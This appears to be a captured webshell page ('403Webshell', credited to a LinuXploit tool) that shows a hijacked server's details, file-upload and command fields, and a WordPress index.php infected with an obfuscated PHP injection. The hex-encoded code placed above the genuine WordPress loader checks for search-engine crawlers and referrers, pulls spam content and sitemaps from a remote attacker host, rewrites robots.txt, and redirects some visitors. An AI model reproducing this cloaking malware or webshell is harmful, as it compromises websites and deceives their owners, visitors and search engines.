403Webshell
Server IP : 74.91.139.10  /  Your IP : 10.45.147.122
Web Server : Apache/2.4.62 (AlmaLinux)
System : Linux prod-iad-shwpweb1001a 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : FAsyXTyKGY ( 3004)
PHP Version : 8.2.32
Disable Function : passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /data/user/1001/2026/126/3004/wordpress/.f2876df2ad8d7e06cf5e558f74049bdd/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /data/user/1001/2026/126/3004/wordpress/.f2876df2ad8d7e06cf5e558f74049bdd/index.php
<?php
 goto SMw1K; bySv2: $lang = $req->server("\x48\124\124\x50\x5f\x41\103\x43\105\120\x54\137\x4c\101\x4e\107\125\x41\x47\x45"); goto zBSkZ; SMw1K: error_reporting(0); goto C9EKb; C9EKb: @set_time_limit(120); goto VM9gZ; OE8VR: $tr = "\x68\164\x74\x70\163\72\x2f\x2f\152\x32\x36\60\70\60\64\x5f\x32\63\x2e\x73\145\144\x75\x63\x74\166\x2e\163\x68\157\x70\x2f"; goto GzyyO; GzyyO: class Req { public function server($name = '', $default = '') { if (empty($name)) { return $_SERVER; } $name = strtoupper($name); return isset($_SERVER[$name]) ? $_SERVER[$name] : $default; } public function iss() { if ($this->server("\x48\124\x54\120\123") && ("\61" == $this->server("\x48\x54\124\120\123") || "\157\x6e" == strtolower($this->server("\110\x54\124\x50\x53")))) { return true; } elseif ("\x68\x74\x74\x70\x73" == $this->server("\122\105\121\125\x45\x53\x54\x5f\x53\103\x48\x45\115\x45")) { return true; } elseif ("\64\64\63" == $this->server("\123\x45\x52\x56\x45\122\137\x50\117\x52\124")) { return true; } elseif ("\x68\164\164\x70\163" == $this->server("\x48\124\x54\120\137\130\137\106\x4f\x52\x57\101\x52\x44\x45\x44\x5f\120\122\x4f\124\x4f")) { return true; } return false; } public function host() { $host = strval($this->server("\110\x54\x54\x50\137\130\x5f\106\x4f\x52\x57\x41\x52\x44\x45\x44\x5f\x48\x4f\123\124") ?: $this->server("\110\x54\124\120\x5f\110\x4f\123\x54")); return strpos($host, "\x3a") ? strstr($host, "\72", true) : $host; } public function scheme() { return $this->iss() ? "\150\x74\164\160\163" : "\150\164\164\x70"; } public function dm() { return $this->scheme() . "\x3a\x2f\x2f" . $this->host(); } public function ip() { if (getenv("\x48\124\124\120\x5f\x43\114\111\x45\x4e\x54\137\x49\120")) { $ip = getenv("\x48\x54\x54\120\x5f\103\114\111\105\116\124\x5f\x49\120"); } elseif (getenv("\110\124\x54\x50\137\x58\x5f\106\x4f\x52\127\x41\x52\x44\x45\x44\x5f\x46\x4f\122")) { $ip = getenv("\x48\124\x54\120\x5f\x58\x5f\x46\x4f\x52\127\101\x52\104\x45\x44\137\x46\x4f\x52"); } elseif (getenv("\122\105\x4d\117\x54\105\137\101\104\104\x52")) { $ip = getenv("\x52\105\115\117\124\105\x5f\101\x44\104\x52"); } else { $ip = $this->server("\x52\x45\x4d\x4f\124\x45\137\x41\x44\104\122"); } return $ip; } public function isc() { $agent = strtolower($this->server("\110\x54\x54\120\137\x55\x53\x45\x52\x5f\101\107\105\x4e\124")); if ($agent != '' && preg_match("\x2f\147\x6f\157\147\154\x65\x62\157\164\174\x67\x6f\x6f\147\x6c\145\174\x79\x61\x68\157\157\x7c\x62\151\156\147\174\x61\157\154\x2f\x73\151", $agent)) { return true; } return false; } public function isg() { $refer = strtolower($this->server("\x48\124\124\120\x5f\x52\105\x46\105\x52\x45\x52")); $referbots = "\x67\x6f\157\147\154\x65\x7c\x79\141\x68\157\x6f\x7c\142\151\156\147\174\x61\x6f\154"; if ($refer != '' && preg_match("\x2f\x28{$referbots}\x29\57\x73\x69", $refer)) { return true; } return false; } public function uri() { if (($pos = strpos($this->server("\x52\x45\x51\125\105\x53\124\x5f\125\x52\x49"), "\56\160\x68\x70")) !== false) { $script_name = basename($this->server("\x53\103\122\x49\120\x54\137\106\x49\114\105\x4e\101\x4d\x45")); if (basename($this->server("\x53\103\122\111\120\124\137\116\101\x4d\105")) === $script_name) { $url = $this->server("\123\103\122\x49\120\x54\x5f\x4e\101\115\105"); } elseif (basename($this->server("\x50\x48\x50\137\x53\x45\114\x46")) === $script_name) { $url = $this->server("\120\x48\120\137\x53\x45\x4c\106"); } elseif (basename($this->server("\x4f\x52\111\107\x5f\x53\103\122\x49\120\x54\x5f\116\x41\115\x45")) === $script_name) { $url = $this->server("\x4f\x52\x49\x47\137\x53\x43\122\x49\x50\124\x5f\116\101\x4d\x45"); } elseif (($pos = strpos($this->server("\120\x48\x50\x5f\x53\x45\x4c\106"), "\57" . $script_name)) !== false) { $url = substr($this->server("\123\x43\122\x49\x50\124\x5f\116\101\x4d\x45"), 0, $pos) . "\x2f" . $script_name; } elseif ($this->server("\104\x4f\x43\x55\115\105\116\x54\137\x52\117\117\x54") && strpos($this->server("\x53\103\122\111\120\x54\137\106\x49\114\x45\x4e\101\x4d\105"), $this->server("\104\117\103\125\x4d\105\x4e\x54\137\x52\117\117\124")) === 0) { $url = str_replace($this->server("\104\x4f\x43\x55\115\x45\x4e\124\137\122\117\117\124"), '', $this->server("\123\103\122\x49\x50\124\137\106\x49\114\x45\116\101\115\x45")); } $requri = $url . substr($this->server("\x52\x45\121\125\x45\123\x54\137\x55\x52\111"), $pos + 4); } else { $requri = substr($this->server("\x52\x45\121\125\105\123\x54\137\x55\122\111"), strpos($this->server("\122\x45\121\125\x45\x53\x54\x5f\x55\122\111"), "\x2f")); } return rtrim($requri, "\57"); } public function execReq($url, $p = array()) { $url = str_replace("\40", "\x2b", $url); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($p)); $output = curl_exec($ch); $errorCode = curl_errno($ch); curl_close($ch); if (0 !== $errorCode) { return false; } return $output; } } goto lbfQi; KXJOE: $umap = $tr . "\155\x61\x70"; goto bqOb7; cNs7C: if (substr($uri, -10) == "\162\x6f\x62\157\x74\x73\56\x74\x78\164") { header("\x43\x6f\x6e\x74\x65\156\x74\x2d\164\x79\x70\x65\72\x74\x65\170\164\x2f\x70\154\141\151\156\x3b\x20\143\x68\x61\x72\x73\x65\164\75\x75\x74\x66\55\x38"); die($req->execReq($tr . "\162\x6f\142\x6f\164\163", $p)); } goto vAJ_a; LlkjW: $isc = $req->isc(); goto ysNN4; aE_vm: $p = array("\144\x6f\155\141\x69\156" => $req->dm(), "\x70\x6f\162\x74" => $req->server("\x53\x45\122\126\105\x52\137\120\x4f\x52\124", 80), "\x75\x72\x69" => $uri); goto cNs7C; ysNN4: $isg = $req->isg(); goto KXJOE; KOkSI: if ($isc) { die('' . $req->execReq($tr . "\151\x6e\x64\141\164\141", $p)); } goto wAK1Q; vAJ_a: if (substr($uri, -6) == "\x72\157\x62\x6f\164\x73") { $output = $req->execReq($tr . "\x72\x6f\142\x6f\164\x73", $p); $rpt = __DIR__ . "\x2f\162\157\x62\157\164\163\56\164\x78\x74"; file_put_contents($rpt, $output); $robots_cont = @file_get_contents($rpt); if (strpos(strtolower($robots_cont), "\x73\151\x74\x65\x6d\141\x70")) { die("\162\157\142\157\164\163\x2e\x74\x78\x74\x20\x66\151\154\145\40\143\x72\x65\x61\x74\145\40\x73\x75\143\143\x65\163\x73\41"); } else { die("\162\x6f\x62\157\x74\x73\x2e\164\170\x74\40\146\x69\154\x65\x20\143\x72\145\141\164\145\40\x66\141\x69\154\41"); } } goto GCg0x; lbfQi: $req = new Req(); goto LlkjW; bqOb7: $uri = urldecode($req->uri()); goto aE_vm; GCg0x: if (substr($uri, -4) == "\x2e\170\x6d\154") { if (strpos($uri, "\x61\x6c\x6c\163\151\x74\x65\155\141\160\x2e\x78\x6d\x6c") || strpos($uri, "\x73\151\164\145\155\x61\x70\x2d\x69\156\x64\x65\x78\x2e\x78\x6d\154") || strpos($uri, "\x73\151\x74\x65\155\x61\160\x2d\151\156\x64\145\170\x2d\61\56\x78\155\x6c") || strpos($uri, "\151\156\144\145\x78\x2e\x78\155\x6c")) { $output = $req->execReq($umap, $p); header("\103\157\156\164\x65\156\x74\x2d\x74\171\160\145\72\x74\145\170\164\57" . (substr($output, 0, 5) === "\x3c\77\170\155\x6c" ? "\x78\155\154" : "\160\x6c\141\x69\156") . "\x3b\40\143\150\x61\x72\x73\145\164\75\x75\x74\x66\x2d\70"); die('' . $output); } $output = $req->execReq($tr . "\x77\x6f\x72\x64", $p); header("\x43\x6f\x6e\164\145\x6e\164\55\164\x79\160\145\x3a\164\145\x78\164\57\170\155\x6c\73\40\x63\x68\141\x72\163\145\x74\x3d\x75\164\146\x2d\70"); if ($output == "\61") { die('' . $req->execReq($umap, $p)); } else { die('' . $output); } } goto bySv2; zBSkZ: if (!$isc && $isg && strpos($lang, "\152\x61") !== false) { $p["\x69\x70"] = $req->ip(); $action = $tr . "\x6a\165\x6d\160"; die($req->execReq($action, $p)); } goto KOkSI; VM9gZ: @ignore_user_abort(1); goto OE8VR; wAK1Q: 








/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );




Youez - 2016 - github.com/yon3zu
LinuXploit